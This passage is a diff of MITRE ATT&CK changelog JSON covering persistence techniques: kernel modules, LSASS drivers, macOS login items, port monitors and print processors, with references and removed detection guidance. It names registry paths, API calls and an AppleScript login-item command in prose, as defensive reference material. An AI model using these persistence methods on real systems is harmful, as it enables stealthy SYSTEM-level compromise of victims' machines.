+ "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"
+ },
+ {
+ "source_name": "RSAC 2015 San Francisco Patrick Wardle",
+ "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "Synack Secure Kernel Extension Broken",
+ "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved November 17, 2024.",
+ "url": "https://objective-see.org/blog/blog_0x21.html"
+ },
+ {
+ "source_name": "Wikipedia Loadable Kernel Module",
+ "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
+ "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Wayne Silva, F-Secure Countercept",
+ "Anastasios Pingios",
+ "Jeremy Galloway",
+ "Red Canary",
+ "Eric Kaiser @ideologysec"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS",
+ "Linux"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Kernel: Kernel Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.550000+00:00\", \"old_value\": \"2025-04-15 19:58:54.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n\\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n-\\n-Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n-\\n-On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0008: Kernel (Kernel Module Load)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0450: Detection Strategy for Kernel Modules and Extensions Autostart Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 18:38:55.801000+00:00",
+ "modified": "2025-10-24 17:49:35.318000+00:00",
+ "name": "LSASS Driver",
+ "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/008",
+ "external_id": "T1547.008"
+ },
+ {
+ "source_name": "Microsoft LSA Protection Mar 2014",
+ "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
+ "url": "https://technet.microsoft.com/library/dn408187.aspx"
+ },
+ {
+ "source_name": "Microsoft DLL Security",
+ "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
+ },
+ {
+ "source_name": "Microsoft Security Subsystem",
+ "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
+ "url": "https://technet.microsoft.com/library/cc961760.aspx"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vincent Le Toux"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"Driver: Driver Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.318000+00:00\", \"old_value\": \"2025-04-16 20:37:22.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n\\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\\n-\\n-Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. \"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1025: Privileged Process Integrity",
+ "M1043: Credential Access Protection",
+ "M1044: Restrict Library Loading"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0225: Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-10-05 21:26:15.081000+00:00",
+ "modified": "2025-10-24 17:49:03.355000+00:00",
+ "name": "Login Items",
+ "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/015",
+ "external_id": "T1547.015"
+ },
+ {
+ "source_name": "Adding Login Items",
+ "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
+ },
+ {
+ "source_name": "Launch Service Keys Developer Apple",
+ "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
+ "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
+ },
+ {
+ "source_name": "Launch Services Apple Developer",
+ "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
+ "url": "https://developer.apple.com/documentation/coreservices/launch_services"
+ },
+ {
+ "source_name": "Login Items AE",
+ "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
+ "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
+ },
+ {
+ "source_name": "Open Login Items Apple",
+ "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
+ "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
+ },
+ {
+ "source_name": "hexed osx.dok analysis 2019",
+ "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
+ },
+ {
+ "source_name": "ELC Running at startup",
+ "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
+ "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
+ },
+ {
+ "source_name": "Startup Items Eclectic",
+ "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
+ "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
+ },
+ {
+ "source_name": "Add List Remove Login Items Apple Script",
+ "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
+ "url": "https://gist.github.com/kaloprominat/6111584"
+ },
+ {
+ "source_name": "CheckPoint Dok",
+ "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
+ "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
+ },
+ {
+ "source_name": "objsee block blocking login items",
+ "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
+ "url": "https://objective-see.com/blog/blog_0x31.html"
+ },
+ {
+ "source_name": "objsee netwire backdoor 2019",
+ "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
+ "url": "https://objective-see.com/blog/blog_0x44.html"
+ },
+ {
+ "source_name": "objsee mac malware 2017",
+ "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
+ "url": "https://objective-see.com/blog/blog_0x25.html"
+ },
+ {
+ "source_name": "sentinelone macos persist Jun 2019",
+ "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
+ "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
+ },
+ {
+ "source_name": "SMLoginItemSetEnabled Schroeder 2013",
+ "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.355000+00:00\", \"old_value\": \"2025-04-15 19:58:47.788000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n\\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n\\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n-\\n-Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n-\\n-Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0121: Detection Strategy for T1547.015 \u2013 Login Items on macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 19:46:27.750000+00:00",
+ "modified": "2025-10-24 17:48:42.872000+00:00",
+ "name": "Port Monitors",
+ "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/010",
+ "external_id": "T1547.010"
+ },
+ {
+ "source_name": "Bloxham",
+ "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.",
+ "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
+ },
+ {
+ "source_name": "AddMonitor",
+ "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Stefan Kanthak",
+ "Travis Smith, Tripwire",
+ "Harun K\u00fc\u00dfner"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.872000+00:00\", \"old_value\": \"2025-04-15 19:58:26.452000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n\\nMonitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n-\\n-Monitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0204: Detection Strategy for T1547.010 \u2013 Port Monitor DLL Persistence via spoolsv.exe (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-05 13:24:49.780000+00:00",
+ "modified": "2025-10-24 17:48:35.261000+00:00",
+ "name": "Print Processors",
+ "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/012",
+ "external_id": "T1547.012"
+ },
+ {
+ "source_name": "Microsoft AddPrintProcessor May 2018",
+ "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
+ },
+ {
+ "source_name": "Microsoft Intro Print Processors",
+ "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
+ "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
+ },
+ {
+ "source_name": "ESET PipeMon May 2020",
+ "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
+ "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Mathieu Tartare, ESET",
+ "Tahseen Bin Taj"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Driver: Driver Load\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.261000+00:00\", \"old_value\": \"2025-04-15 19:58:17.860000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n\\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n-\\n-Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
